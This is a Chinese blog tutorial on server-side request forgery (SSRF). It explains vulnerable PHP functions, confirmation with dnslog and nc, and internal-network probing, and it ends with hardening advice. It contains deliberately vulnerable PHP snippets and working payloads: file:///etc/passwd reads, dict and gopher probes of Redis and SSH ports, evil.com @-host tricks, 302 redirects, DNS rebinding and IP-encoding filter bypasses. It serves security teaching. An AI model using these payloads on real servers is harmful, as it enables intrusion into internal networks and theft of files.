赞
踩
SSRF服务器端请求伪造漏洞基础,下面分五个专题来说
1、什么是ssrf?
2、ssrf的相关协议
3、有无回显的ssrf漏洞确认
4、ssrf如何利用?
5、ssrf漏洞的绕过
6、ssrf漏洞的加固
SSRF是一种由攻击者构造形成并由服务器端发送恶意请求的一个安全漏洞,正因为恶意请求由服务器端发起,而服务器端可以请求到与自身相连并且和外部网络隔绝的内部网络系统。所以一般情况下,SSRF的攻击目标是外网无法直接访问的内网系统。
借一下别人的图片展示一下这个过程:
由于业务需求,服务器端需要从其它服务器获取应用数据,如图片等。但由于服务器没有对请求的目标地址进行过滤,导致黑客可以请求任意服务器的资源,其中就包含了隐匿在内网的应用。很多企业认为服务器在内网不会受到黑客攻击,便放任漏洞不管,不做补丁修复和版本升级,弱口令遍布内网。但是在SSRF漏洞面前这些漏洞都会成为黑客的“盘中餐”。
SSRF可能存在的地方
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源
SSRF的危害
对目标服务器所在的内网主机进行ip存活性扫描和端口扫描
攻击运行在内网的一些服务,如Redis、mysql等
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
利用file协议读取服务器本地文件等。
进行跳板攻击等。
SSRF漏洞的利用所涉及的协议有:
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活
介绍一下dict协议:
词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。(摘自百度百科)
下面介绍函数演示一下协议的利用。
有回显的ssrf
有回显的ssrf漏洞很好确认,可以通过dnslog平台、file协议、dict协议等的回显信息来确认。
gopher
http://xxxx.com?url=gopher://127.0.0.1:2333/_test
dict
http://xxxx.com?url=dict://127.0.0.1:port/info
file
http://xxxx.com?url=file:///etc/passwd
http
http://xxxx.com?url=http://xxx.com/302.php
无回显的ssrf
(1)用dnslog平台来确认
在DNSLog Platform申请一个子域
然后在测试的地方将该网址打进去
回到dnslog平台刷新,发现存在访问记录,可以判断存在ssrf漏洞
那么如何确定该站点所在的服务器支持哪种协议呢?也可以用dnslog来确定,步骤也是先申请一个域名,分别用以下的语句来测试。
dict://v2j5j2.dnslog.cn:80
gopher://v2j5j2.dnslog.cn
(2)可以在vps上通过监听端口来确认
先在服务器上监听8888端口,命令如下:
nc -l -vv 8888
然后在存在ssrf的地方输入测试语句
dict://服务器ip:8888/helo:dict
gopher://服务器ip:8888/_aaa
file:///etc/hosts
最后在服务器上查看返回信息
产生SSRF的相关函数
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。
上面函数使用不当会导致SSRF漏洞。
file_get_contents()
演示代码:
<?php
show_source(__FILE__);
$url = $_GET['url'];
echo file_get_contents($url);
上述测试代码中,file_get_contents()函数将文件或url所指的文件内容读入一个字符串,我们构造ssrf.php?url=../../../../../etc/hosts的payload即可读取服务器本地的任意文件。
也可以利用file协议进行文件读取,在后面会对这个协议进行讲解。
更可以用来探测端口,8080端口开启,并且有服务运行
3060端口没开启,这是最简便的一种环境模拟,在实际中可以根据报错情况在判断端口是否开启。
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)打开一个网络连接或者一个Unix 套接字连接。
fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
演示代码:
<?php
show_source(__FILE__);
$host=$_GET['url'];
$port=$_GET['port'];
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
构造ssrf?url=www.baidu.com&port=80可以返回百度主页:
可以用来内网端口探测,开放则正常回显。
不开放则显示拒绝或者超时
curl_exec函数:
curl_exec函数是危害最大的函数,也是需要重点讲的函数。以上代码是获取参数url的值,使用curl进行访问。
curl_exec的使用需要3个条件:
1、PHP版本>=5.3
2、开启extension=php_curl.dll
3、--wite-curlwrappers(编译PHP时用,此时不需要,可忽略)
使用dict协议探测22端口
演示代码:
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
根据回显的信息判断是否开放端口:
同时也可以根据回显的信息判断开放的服务,类似于上面的第一张图,下面是别人的图片。
dict协议探测22端口
dict协议探测6379端口
可以根据回显的banner信息判断目标端口运行的服务为ssh和redis服务,dict协议还可以做到执行命令的功能,本文不再讲解。
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
域网IP地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
通过构造一下形式的payload来逐一探活,手动试是很麻烦的,可以通过bp爆破模块对后面的进行爆破,通过查看长度来确定哪个主机存活。然后再利用http协议或者dict协议来查看端口打开的服务,从而找到漏洞进行渗透。
ssrf.php?url=http://192.168.52.1
ssrf.php?url=http://192.168.52.6
ssrf.php?url=http://192.168.52.25......
在一些存在ssrf的站点,可能会有waf对输入的内容进行过滤,对内容中涉及的内网内容进行过滤,这个时候就需要进行绕过。
对于SSRF的限制大致有如下几种:
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
限制域名只能为http://www.xxx.com
限制不能访问内网的IP,以防止对内网进行攻击。
屏蔽返回的详细信息。
如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com
绕过对内网ip的限制我们可以利用302跳转的方法,可以类比手机所对应的呼叫转移功能,这样打进A手机的电话,均转移到B手机接听。有以下两种。
(1)网络上存在一个很神奇的服务,网址为http://xxx.xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/1.php时,实际访问的是 http://127.0.0.1/1.php 。像这种网址还有http://nip.io、http://sslip.io。
(2)短地址跳转绕过,这里也给出一个网址 短网址,短网址生成,短链接,网址缩短_ft12.com短网址,这种百度一搜一大堆。
(3)在服务器上新建一个302.php,内容如下:
<?php
header("Location:http:127.0.0.1/flag.php");
然后在SSRF处访问自己服务器的地址就行了。
在实际操作中可能会有限制不能访问内网的IP,那么可以利用dnslog平台完成dns重绑定。
CEYE - Monitor service for security testing
操作流程如下:
第一个设置成公网的IP,第二个设置成127.0.0.1
然后payload:http://r.xxx.xeye.io/flag.php,这个r必须要,因为这是ceye.io平台利用重定向的标志。
大致的原理是:
输入payload,在waf检查的时候,本地Dns服务器向Dns服务器发起请求,解析域名,刚好重绑定到公网的1.1.1.23。
然后在file_get_contents($url);读取文件时,TLE时间快速失效,Dns服务器缓存清空,得重新对域名进行解析,这时恰好重绑定到127.0.0.1这个ip,顺利读到内网的文件。
因为这个dns重绑定解析到哪个ip是随机的,有可能第一个是127.0.0.1,第二个也是127.0.0.1,这个得看运气。也有可能在过waf的时候就解析到1.1.1.23,读取文件的时候解析到127.0.0.1,直接一次成功。
具体原理的话,看一下大佬的文章。
可以使用一些不同的进制替代ip地址,从而绕过WAF。
(1)、8进制格式:0177.0.0.1
(2)、16进制格式:0x7F.0.0.1
(3)、10进制整数格式:2130706433(转16进制,在转10进制)
(4)、16进制整数格式:0x7F000001
下面的等同于http://127.0.0.1
http://127.1
http://127.0000000000000.001
http://0.0.0.0
http:127.127.127.127
http://0 (0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0)
127.0.0.1 == 127。0。0。1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parse_url函数的解析差异以及curl和parse_url解析差异来进行绕过。
(1)利用readfile和parse_url函数的解析差异绕过指定的端口
测试代码:
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 这里限制了我们传过去的url只能是80端口的
readfile($url);
} else {
die('Hacker!');
}
假设在11211端口下存在flag.txt,但是代码限制了我们传过去的url只能是80端口,这时候就可以利用readfile和parse_url的差异来读文件。payload:127.0.0.1:11211:80/flag.txt,借一张图说明一下。
从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图:
readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。
(2)利用curl和parse_url的解析差异绕指定的host
原理如下:
从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()函数对指定host的限制。
- 禁止302跳转,或者没跳转一次都进行校验目的地址是否为内网地址或合法地址。
- 过滤返回信息,验证远程服务器对请求的返回结果,是否合法。
- 禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
- 设置URL白名单或者限制内网IP
- 限制请求的端口为http的常用端口,或者根据业务需要置开放远程调用服务的端口
- catch错误信息,做统一错误信息,避免黑客通过错误信息判断端口对应的服务。
如何验证存在SSRF漏洞,有回显和无回显的情况该怎么办?会在下一篇博客讲。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。